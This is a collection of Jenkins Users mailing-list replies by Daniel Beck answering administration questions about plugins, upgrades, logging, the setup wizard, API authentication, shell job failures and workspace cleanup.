Re: All plugins failed to load

['Daniel Beck' via Jenkins Users]

On Mon, Dec 11, 2023 at 1:13 PM Matew  wrote:

> Hi All! Good day!
> After i have updated my Jenkins version to 2.81, all my plugins failed to
> load as image shown, anyone can help on this?
>

You have _downgraded_ Jenkins to 2.81. Version numbers aren't decimals.
2.81 is more than six years old and not newer than 2.435, the latest
release.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtK3fHD%2B%2BqKFExECbZ_xcsDrxDbjNdvPL2amOQoATtHFpg%40mail.gmail.com.

Re: 500: Response header too large

['Daniel Beck' via Jenkins Users]

On Fri, Oct 20, 2023 at 8:38 PM alan.l...@gmail.com 
wrote:

> Sorry to bump, but any ideas?  I get the stacktrace hitting the logout
> link and a white page, but it never actually logs out.  A back button press
> puts me back logged into Jenkins.
>

The logout attempts to clear cookies as they can accumulate after many
restarts/updates, each time with a different ID. I guess it's possible that
your requests (with a huge Cookie header) are fine, but the response,
trying to clear them all out, is not.
Diagnose by checking what your Cookie request header is, I expect you send
dozens of session cookies.
Try login/logout from a private browsing window, if that works it's an
indicator your cookies are a problem.
If so, temporarily resolve this issue by clearing browsing data in your
browser (and use the logout more often).

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtLBMd1rpMT-jZOkf5xpcpcYeEZ%3DrP30pEXoXDVQOxB1Lg%40mail.gmail.com.

Re: fresh Jenkins installation does not present the dashboard

['Daniel Beck' via Jenkins Users]

On Fri, Jul 28, 2023 at 11:21 AM Matthias Apitz  wrote:

>
> * TLSv1.3 (OUT), TLS handshake, Client hello (1):
>
> it hangs. Sould it says '404 bla not found"
>

This indicates that something other than Jenkins is broken, so it's a
system/environment issue. Fix that first, then try again with Jenkins.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2Bx9SKZcEifv4JPOJBNBd1WydQYcaMGcrXfBiNGwKWi%2Bg%40mail.gmail.com.

Re: fresh Jenkins installation does not present the dashboard

['Daniel Beck' via Jenkins Users]

On Fri, Jul 28, 2023 at 10:30 AM Matthias Apitz  wrote:

>
> [2023-07-28 09:50:31][SEVERE][hudson.model.UpdateCenter$DownloadJob run]
> Failed to install scm-api
> java.io.IOException: Failed to dynamically deploy this plugin
> at
> hudson.model.UpdateCenter$InstallationJob._run(UpdateCenter.java:2204)
> at
> hudson.model.UpdateCenter$DownloadJob.run(UpdateCenter.java:1850)
> ...
>

Might have a number of causes, not all of them network-related.


> When I watch such a plugin update with tcpdump for all traffic to/from
> port 443 such fetch is very slow and lazy. I looked in the file for
> the update: the JSON file in https://updates.jenkins.io/update-center.json
> it has 3413 URLs for downloading and I understand now why this took
> always so long in the first initialization of Jenkins.
>

None of them are actually downloaded. The JSON file is basically all that's
being downloaded.


> Our IT department will say: 443 outbound is all open
>

Can you curl from the Jenkins controller system to e.g. google.com?

Any exceptions getting logged?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJm9LSuzksOQBfae-HW6YT1Y%3DuiDSRnFLgvchMnyruqug%40mail.gmail.com.

Re: fresh Jenkins installation does not present the dashboard

['Daniel Beck' via Jenkins Users]

On Thu, Jul 27, 2023 at 10:15 AM Matthias Apitz  wrote:

> I don't get why I'm not able to get all logs into the configured file
> /var/log/jenkins/jenkins.log; my used log configuration is:
>
> cat logging.properties
> .level=DEBUG
>

DEBUG isn't a legal level. There should be a corresponding error logged.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BRuoSM54jBDVXzsSfZ18tRTm-3nJJx17ewAuZn_s4UHg%40mail.gmail.com.

Re: fresh Jenkins installation does not present the dashboard

['Daniel Beck' via Jenkins Users]

On Wed, Jul 26, 2023 at 11:21 AM Matthias Apitz  wrote:

> The jenkins server itself is requesting data from two servers in
> Internet:
>
> …
>
> The first I have no idea, where is this configured.
>

That's google.com, something set up long ago as an attempt to determine
whether there's any internet connectivity. See
https://github.com/jenkinsci/jenkins/blob/7fb5f24efd92eda2461e9bf2f1fdc50295e12573/core/src/main/java/hudson/model/UpdateCenter.java#L1414
or
https://github.com/jenkinsci/jenkins/blob/7fb5f24efd92eda2461e9bf2f1fdc50295e12573/core/src/main/java/hudson/model/UpdateSite.java#L437
(the amount of unused/legacy code in this area makes it difficult to tell
at a glance which is called) or an equivalent field in the JSON data
retrieved from updates.jenkins.io.


> The box is sitting in some data center and is not fully connected to
> Internet... How could those external request to Internet be switched off?
>

This looks like a bug. The setup wizard should identify that the requests
fail, and offer to configure a proxy, or let you skip plugin installation.
Do some of the requests pass? If so, it might be different from a basic "no
networking" situation in ways not anticipated.

That said, the setup wizard has fairly little value if Jenkins is offline.
You can bypass

it, but note that it'll start with authorization + authentication set so
that anonymous users are admins; so you'll want to customize things quickly
on startup, e.g. with an init.groovy

script, ideally before exposing the HTTP port to anyone other than
localhost.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BOftB1em-yS97Ngu7%3D9ak5dpiGr2jmabVmGphXx2ovAw%40mail.gmail.com.

Re: There are no nodes with the label ‘built-in'

['Daniel Beck' via Jenkins Users]

On Tue, May 30, 2023 at 1:22 PM Torsten Reinhard  wrote:

> The node´s URL is already URL /manage/computer/(built-in)/ - but it´s
> still showing up as "master".
>

Might be a localization issue. Jenkins translations are often behind, and
it looks like we didn't delete those translations when updating
terminology. Switch your browser to prefer English responses and see
what happens (assuming Locale Plugin doesn't override browser preference).

For comparison, see https://ci.jenkins.io/computer/ -- that shows 'Built-in
Node' when preferring English.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtKW1uxB5mTQ9YqPh_4cdK3pc8fYcdX122aTiVwCj%3DX%2Bzg%40mail.gmail.com.

Re: There are no nodes with the label ‘built-in'

['Daniel Beck' via Jenkins Users]

On Tue, May 30, 2023 at 11:04 AM Torsten Reinhard 
wrote:

> I´m wondering why I´m still seeing
> "master" in the list of all nodes at https://
> ./jenkins/manage/computer/
>

Weird. Is that node's URL /manage/computer/(master)/ (i.e, with the
parentheses)? If not, that's an agent with the name 'master'. Check whether
a node exists that is called "Built-In Node". It may have 0 executors,
which would explain why no builds are starting.


> What step needs to be performed, so everything is properly switched to
> "built-in" instead of "master"?
>

Migration needs to be triggered manually, an admin message will be shown on
/manage for this. Did you follow the steps at
https://www.jenkins.io/doc/upgrade-guide/2.319/#migration ?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJMKJwO5hytAwoK7U%2BhvoSPj_C4WS9VuSAANK1h3xkT3Q%40mail.gmail.com.

Re: HTML pages as archived artifacts

['Daniel Beck' via Jenkins Users]

On Mon, Jan 16, 2023 at 10:00 AM geoffroy...@gmail.com <
geoffroy.jabou...@gmail.com> wrote:

> you need to relax CSP rules for proper display, as mentioned by Xavier.
>

The recommended alternative for more than three years is to configure the
resource root URL as explained on
https://www.jenkins.io/doc/book/security/user-content/#resource-root-url

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BZF1E4%2BJqEewS8DDB5VpOyt7dDQeUbUVrd%2BE2wh%3DMDEQ%40mail.gmail.com.

Re: Another way to uninstall a plugin?

['Daniel Beck' via Jenkins Users]

On Tue, Jan 3, 2023 at 4:49 PM zil...@gmail.com  wrote:

> Thanks. It's a deprecated plugin. I'm trying to uninstall all the
> indicated deprecated plugins, but they just keep coming back after a
> restart. They are disabled though.
>

Is it WMI Windows Agents Plugin?

Plugins getting re-installed is expected behavior if they're a plugin whose
functionality was split ("detached") from Jenkins core in the past, as is
the case with that one. It's the only such plugin currently deprecated as
well.

The only real solution is for all other plugins you have installed to
declare a core dependency of 1.547 or newer, so none of them cause the
detached plugin to be installed automatically again. Check the popup that
appears when hovering the "uninstall" button for candidates, or check the
URL /pluginManager/api/json?tree=plugins[shortName,requiredCoreVersion] in
Jenkins to learn which installed plugins have a ~9 year old core dependency
and should be modernized.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJ2qsD8vevpnmWTPmjr6xBuSvhObYYGeqCz83KmA%2BHfRA%40mail.gmail.com.

Re: Copy To Slave plugin error

['Daniel Beck' via Jenkins Users]

On Mon, Dec 5, 2022 at 1:55 PM ekambaram varathan 
wrote:

> I am using jenkins 2.361.2 version and i have "Copy to Slave" plugin
> version 1.4.4 .
> …
> FATAL: hudson/org/apache/tools/tar/TarInputStream
> java.lang.ClassNotFoundException:
> hudson.org.apache.tools.tar.TarInputStream…
> Please let me know what would be the cause for this error.
>

The plugin is incompatible with Jenkins 2.318 and newer and hasn't been
distributed by the Jenkins project since early 2018. I recommend you look
into alternative solutions for what you're currently using it for.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2B4sPE83iUMCKTNUuRtzGcoSyKmW3tBuYtq_UMDEWx2gA%40mail.gmail.com.

Re: The following installed plugins are deprecated: WMI Windows Agents Plugin

['Daniel Beck' via Jenkins Users]

On Wed, Nov 23, 2022 at 2:26 PM 'christop...@googlemail.com' via Jenkins
Users  wrote:

> And the fact that I have trouble when disabling WMI window agents tells me
> there must be a real dependency somewhere, not only implied ones.
>

I'd expect there to be exceptions logged or other (somewhat) visible impact
that tells you more.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtKnPoqktQsb5n-mN7sq7iuAAbwvxFpTQKn_bwHp0eNWHg%40mail.gmail.com.

Re: Warning: The new version of this plugin is marked as incompatible with the installed version.

['Daniel Beck' via Jenkins Users]

On Tue, Nov 22, 2022 at 3:03 PM A, Ramkumar  wrote:

>
>
> We do not want to upgrade the plugin below thinking it may break the
> existing Linux executor configured on Jenkins. Is that true ?
>

I recommend you try looking at the plugin documentation. If you have done
so already, what did you find?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJsT%2BfdCYak6g8k6aoNM%2Bq2YU%3DyC%3DdSfWekVFu6R2QERg%40mail.gmail.com.

Re: I need to fail jenkins job if any linux command return error message

['Daniel Beck' via Jenkins Users]

On Tue, Nov 22, 2022 at 2:54 PM Praju  wrote:

> Hi ,
> The above one I am taking as example but actual configuration is:
>   < python_file> -D&1 2 | tee gen.file.log
> above command   return "ValueError: No JSON object could be decoded"
> but the job build status is showing success
>

set -o pipefail.

You're still asking in the wrong forum.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BanC3fgF7U1RuGg1rgL%3DepirhKU-Q_CDcnUPN_FNLMQA%40mail.gmail.com.

Re: I need to fail jenkins job if any linux command return error message

['Daniel Beck' via Jenkins Users]

On Tue, Nov 22, 2022 at 2:11 PM Praju  wrote:

> Hi,
> below is my configuration:
>
> echo "welcome"
> echo ${var}  ( Note : I am not defined var)
> echo "hello"
>
> expected output status: failure
>
> output:
>
>  + echo welcome
> welcome
>  + echo
>
>   + echo hello
>  hello
>   Finished: SUCCESS
>

`echo ${var}` didn't fail. As you can see, it printed an empty line. By
default, bash allows references to undefined variables. Use `set -o
nounset` to change this behavior.

This really isn't a Jenkins question, this is a question about shell use,
and should be asked in the appropriate forum.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtKfohPW6id9b1KW7-KcmRg%3Dum9CT%2Be%2B4VG_b9XW6rO6VA%40mail.gmail.com.

Re: Jenkins selected filtering values in parameter objects

['Daniel Beck' via Jenkins Users]

On Thu, Oct 27, 2022 at 3:39 PM Chennai Cheetah 
wrote:

> How do I get only selected jenkins information from the API response.
>
> …
>
> How do I filter rulesetid,branch details only from the parameter object,
> while rest of the parameters are not required in the response.
>
Work with the XML API output and use an XPath expression, or process the
JSON API responses using a tool like jq.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJOoPVU9Lop%2BTFL9%2BEALVF2uVgcewkEp240DxCp%2BVBGHA%40mail.gmail.com.

Re: HTTPS - works okay, but 2 problems

['Daniel Beck' via Jenkins Users]

On Wed, Sep 28, 2022 at 12:00 PM James Nord  wrote:

> jenkins (winstone) can load arguments from a config file in addition to
> the command line (--config).
> https://github.com/jenkinsci/winstone#configuration-file
>
> so you can (should be able) to put the password in that file.
>
> Now if you put the password in that file and make it read only by the
> jenkins user you have not really gained anything over using a passwordless
> key/certificate file that is read only by the jenkins user...
>
> (allthough I guess you could hack the systemd command to write the file
> before startup, pass the argument and then wait until Jenkins has started
> and remove the file, then only root has access normally to the password in
> the systemd configuration)
>

 There's also --paramsFromStdIn as documented at
https://github.com/jenkinsci/extras-executable-war#parameters-from-stdin

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJYKF-QdZY2q_Q05qZiLBwrbe_nteyY0JXOF-yBisAn7g%40mail.gmail.com.

Re: Jenkins 2.263.1 broke after upgrading git plugin from 4.7.0 to 4.8.0

['Daniel Beck' via Jenkins Users]

On Tue, Aug 30, 2022 at 2:15 PM Hamid Gholami  wrote:

>
> com.thoughtworks.xstream.mapper.CannotResolveClassException: hudson
> .security.LDAPSecurityRealm at com.thoughtworks.xstream.mapper
> .DefaultMapper.realClass(DefaultMapper.java:79) at com.thoughtworks
> .xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30) at com
> .thoughtworks.xstream.mapper.DynamicProxyMapper.realClass
> (DynamicProxyMapper.java:55) at com.thoughtworks.xstream.mapper
> .MapperWrapper.realClass(MapperWrapper.java:30) at com.thoughtworks
> .xstream.mapper.PackageAliasingMapper.realClass(PackageAliasingMapper.java
> :88) at com.thoughtworks.xstream.mapper.MapperWrapper.realClass
> (MapperWrapper.java:30) at com.thoughtworks.xstream.mapper
> .ClassAliasingMapper.realClass(ClassAliasingMapper.java:79) at com
> .thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper
> .java:30) at com.thoughtworks.xstream.mapper.MapperWrapper.realClass
> (MapperWrapper.java:30) at com.thoughtworks.xstream.mapper.MapperWrapper
> .realClass(MapperWrapper.java:30) at com.thoughtworks.xstream.mapper
> .MapperWrapper.realClass(MapperWrapper.java:30) at com.thoughtworks
> .xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30) at com
> .thoughtworks.xstream.mapper.ArrayMapper.realClass(ArrayMapper.java:74)
> at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper
> .java:30) at com.thoughtworks.xstream.mapper.MapperWrapper.realClass
> (MapperWrapper.java:30) at com.thoughtworks.xstream.mapper.MapperWrapper
> .realClass(MapperWrapper.java:30) at com.thoughtworks.xstream.mapper
> .MapperWrapper.realClass(MapperWrapper.java:30) at com.thoughtworks
> .xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30) at com
> .thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper
> .java:71) at com.thoughtworks.xstream.mapper.MapperWrapper.realClass
> (MapperWrapper.java:30) at com.thoughtworks.xstream.mapper.MapperWrapper
> .realClass(MapperWrapper.java:30) at com.thoughtworks.xstream.mapper
> .MapperWrapper.realClass(MapperWrapper.java:30) at hudson.util.XStream2
> $CompatibilityMapper.realClass(XStream2.java:379) at com.thoughtworks
> .xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30) at hudson
> .util.xstream.MapperDelegate.realClass(MapperDelegate.java:43) at com
> .thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper
> .java:48) at hudson.util.RobustReflectionConverter.determineType
> (RobustReflectionConverter.java:476) at hudson.util
> .RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:326)
> Caused: jenkins.util.xstream.CriticalXStreamException: hudson.security
> .LDAPSecurityRealm : hudson.security.LDAPSecurityRealm  Debugging
> information  message : hudson.security.LDAPSecurityRealm
> cause-exception : com.thoughtworks.xstream.mapper
> .CannotResolveClassException cause-message : hudson.security
> .LDAPSecurityRealm class : hudson.model.Hudson required-type : hudson
> .model.Hudson converter-type : hudson.util.RobustReflectionConverter path
> : /hudson/securityRealm line number : 169 version : not available
>

Looks like LDAP Plugin is disabled or failed to load, while being the
configured security realm. Find out why and fix that.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BVuNhTXEh4paAnRx5tB570%3D-37dvNaskeEYQ7crjgaTw%40mail.gmail.com.

Re: Jenkins CI CD pipeline for Auto genarate a Single Executable Windows Installaer (Windows .exe file) from a Angular Electron Desktop Application

['Daniel Beck' via Jenkins Users]

On Thu, Aug 18, 2022 at 3:30 PM Pritam Roy  wrote:

> As of now manually we have done thses thing by help of Third party
> software in our Windows machine (eg, Inno Setup). But I can't get any clue
> that how can we automate these thing under our Jenkins CI CD process.
>

This process almost always looks like this:
1. Figure out how to automate whatever you're doing in a script.
2. Have Jenkins invoke your script.

In this case, https://jrsoftware.org/ishelp/topic_compilercmdline.htm looks
like the relevant documentation.


> Note. I am using Jenkins Server in Ubuntu Machine.
>

https://www.jenkins.io/redirect/distributed-builds/ and
https://www.jenkins.io/doc/book/managing/nodes/ explains how to set up
distributed builds in Jenkins if you haven't already. You can add a Windows
agent to your Linux Jenkins controller, and have Jenkins
run batch/powershell scripts there.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJsLaztff6PrjVx4TbW445L6cRRQfdJdzTHzxEK%3DiySGw%40mail.gmail.com.

Re: Invalid cert "https://charts.jenkins.io/index.yaml"

['Daniel Beck' via Jenkins Users]

On Mon, Jun 20, 2022 at 2:01 PM Jorge Quesada  wrote:

> I paste the proof that the certificates are possibly expired
>

Well…

Not Before: Jun 17 09:40:36 2022 GMT
> Not After: Sep 15 09:40:35 2022 GMT
>

It's June 20. The certs aren't expired. Ask your IT folks to fix your
environment.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJkiPXG4Dx4nkoUQZQoKyEc1uq4j7jL7L_iWaemNs8CQg%40mail.gmail.com.

Re: Where can I find Jenkins System user ?

['Daniel Beck' via Jenkins Users]

On Sat, Jun 18, 2022 at 9:39 AM yarin kossover  wrote:

> On Vanilla setup, how can I find the system user ( AKA "Running as
> SYSTEM"  )
>

It's an internal-only user. It allows internal processes in Jenkins to run
with full permissions.

https://www.jenkins.io/doc/book/security/build-authorization/ documents how
to change the identity that builds are running as.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtK3kFne2Ymd%2BZb6ugeEyrega51BzAUmPfEgW1kgfFUtqA%40mail.gmail.com.

Re: Scriptler using GET in Jenkins2

['Daniel Beck' via Jenkins Users]

On Wed, May 18, 2022 at 10:02 PM adam.l...@gmail.com <
adam.l.lev...@gmail.com> wrote:

>  But the way I read that is as a warning: subject to CSRF problems, be
> warned.  I don't see any indication that GET has been disabled.
>
> What am I not seeing?
>

With publication of the advisory, we suspended distribution of the plugin
for a while until the issues were fixed in release 3.0. The fix for this
was to require POST, which Jenkins applies CSRF protection to. Advisories
are not updated when previously unresolved issues are fixed, so it
still says that as of publication, there is no fix.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BRzvyUo6r4H9GHqREyY3ePiAiBdw0bPHh6nUnvZVqiqA%40mail.gmail.com.

Re: Scriptler using GET in Jenkins2

['Daniel Beck' via Jenkins Users]

On Wed, May 18, 2022 at 9:01 PM adam.l...@gmail.com 
wrote:

> On Jenkins 1.x we can call scriptlet entries using GET.
> On Jenkin 2.x, any GET attempts are being returned with an error that they
> must be done via POST
>

That's a security fix. See
https://www.jenkins.io/security/advisory/2017-04-10/#script-management-vulnerable-to-cross-site-request-forgery-attacks-in-scriptler-plugin

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJg6T__pdgA4jdcxrcLbWkr%3Dmd0ndYoa%3D0cW_E2M1%3D%3DNg%40mail.gmail.com.

Re: How to create/update Jenkins job via REST API in Java?

['Daniel Beck' via Jenkins Users]

On Mon, Apr 4, 2022 at 11:13 AM Jon Brohauge  wrote:

> Whenever I try to POST a job, using a Basic Authentication with the
> “username:password” base64 encoded, I get a 403.
>

Crumbs are session-specific since 2.176.2:
https://www.jenkins.io/doc/upgrade-guide/2.176/#upgrading-to-jenkins-lts-2-176-2

Either use an API token, or record the `Set-Cookie` response header and it
the same session ID with every subsequent request.


> Whenever I try to POST a job, using a Basic Authentication with the
> “username:apitoken” base64 encoded, I get a 500. The apitoken has been
> handmade just for this test.
>

The reason for the HTTP 500 is something the logs on Jenkins should tell
you. My guess is you forgot to set `Content-Type: text/xml` as documented
in `/job/whatever/api/`.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtK7WUYUD5AV%2BQr8MvdJ8fjJrJCa5%2B4dNwKedTs_a0OLxA%40mail.gmail.com.

Re: Reasons for workspace cleanup

['Daniel Beck' via Jenkins Users]

On Mon, Apr 11, 2022 at 2:05 PM Fabian Cenedese  wrote:

> At 13:53 11.04.2022, you wrote:
>
> >Workspaces Jenkins considers "unused" are wiped periodically. While this
> is intended to be safe, i.e., never delete the last workspace, or
> workspaces of running builds, it's not impossible that "active" workspaces
> are caught in rare circumstances. Check the workspace cleanup log in your
> Jenkins home to see whether this happens to you, or enable detailed (FINE)
> logging for the logger "hudson.model.WorkspaceCleanupThread".
>
> Thanks for the info, that's what seems to be happening. I'll see if I can
> check this in case it happens again. Is this something that can be
> influenced in the settings or is it completely automatic? Would I need
> to run a job more often to prevent this? Or I could put all my files in
> a different directory outside the workspace and change into it in
> the job. That way there's nothing to delete in the configured workspace.
>

This is completely automated and invisible beyond log entries (probably not
great). While there are some possible approaches to stop Jenkins from doing
that when it occurs with regular Jenkins jobs, your situation is different.
In your particular case, you're using what amounts to a Jenkins-managed
resource outside Jenkins. The cleanest solution is what you suggest: to
stop doing that, run your cron job somewhere else, and limit Jenkins
workspace use to actual Jenkins jobs.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BxqNi77CWva8KtkCcwNMsGrjkd6qJRR5nH_16KG4sq2Q%40mail.gmail.com.

Re: Reasons for workspace cleanup

['Daniel Beck' via Jenkins Users]

Workspaces Jenkins considers "unused" are wiped periodically. While this is
intended to be safe, i.e., never delete the last workspace, or workspaces
of running builds, it's not impossible that "active" workspaces are caught
in rare circumstances. Check the workspace cleanup log in your Jenkins home
to see whether this happens to you, or enable detailed (FINE) logging for
the logger "hudson.model.WorkspaceCleanupThread".

(Code reference in case you're curious:
https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/WorkspaceCleanupThread.java
)

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtLhDo_Ntn_HwZCk4zVy4qP1drqfsdNFsKaDefKh8s4awA%40mail.gmail.com.

Re: Plugin update "Jenkins (2.323) or higher required"

['Daniel Beck' via Jenkins Users]

On Tue, Mar 8, 2022 at 12:44 PM Stefan Coussens 
wrote:

> Hi,
>
> We are using the LST cycle but this gives issues when I try to update
> plugins.
> My use case:
>
> Ansible playbook updates the linux server (and jenkins LST if available)
> After that I use an ansible playbook to (
> https://github.com/wcm-io-devops/ansible-jenkins-facts) look for plugins
> where "hasUpdate = true" and then update the plugin.
>
> This has failed a couple of times and when jenkins loads I get :
>
>
> XXX Plugin
> Jenkins (2.323) or higher required
>
> What method returns if an plugin is compatible with the current version of
> jenkins?
> (https://javadoc.jenkins.io/hudson/model/UpdateSite.Plugin.html)
>
> What does "isForNewerHudson()" do?
>
> I think I want the
>
> isCompatible
> 
> ()
> Returns true if the plugin and its dependencies are fully compatible with
> the current installation This is set to restricted for now, since it is
> only being used by Jenkins UI or Restful API at the moment.
>
> field/method but this is restricted ;(
>

#isForNewerHudson is a reasonable idea, but with the improved update site
tiering that should only matter for 3rd party update sites, outdated
releases of Jenkins (>12 months), or misconfigured instances.

Make sure you access update-center.json URLs with the ?version query
parameter and specify which version of Jenkins you're on unless you track
the latest release. Jenkins does that automatically, if you bypass Jenkins
you need to add this.
Docs: https://github.com/jenkins-infra/update-center2/tree/master/site

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtLxWV%2BtgaB4srwn%2BpQkoFzty%2B4jr-UkFLtu3k5g6%3D0QVg%40mail.gmail.com.

Re: Error updating plugins from Jenkins

['Daniel Beck' via Jenkins Users]

> On 19. Nov 2021, at 20:52, Mark Waite  wrote:
> 
> I thought that certificate could be reported when a request is made to the IP 
> address of an HTTP server hosted in Kubernetes.  The Kubernetes server needs 
> the hostname in order to use the correct SSL certificate (or something like 
> that).
> 

https://en.wikipedia.org/wiki/Server_Name_Indication

The Kubernetes cert in the first message is the one for get.jenkins.io without 
SNI.

-- 
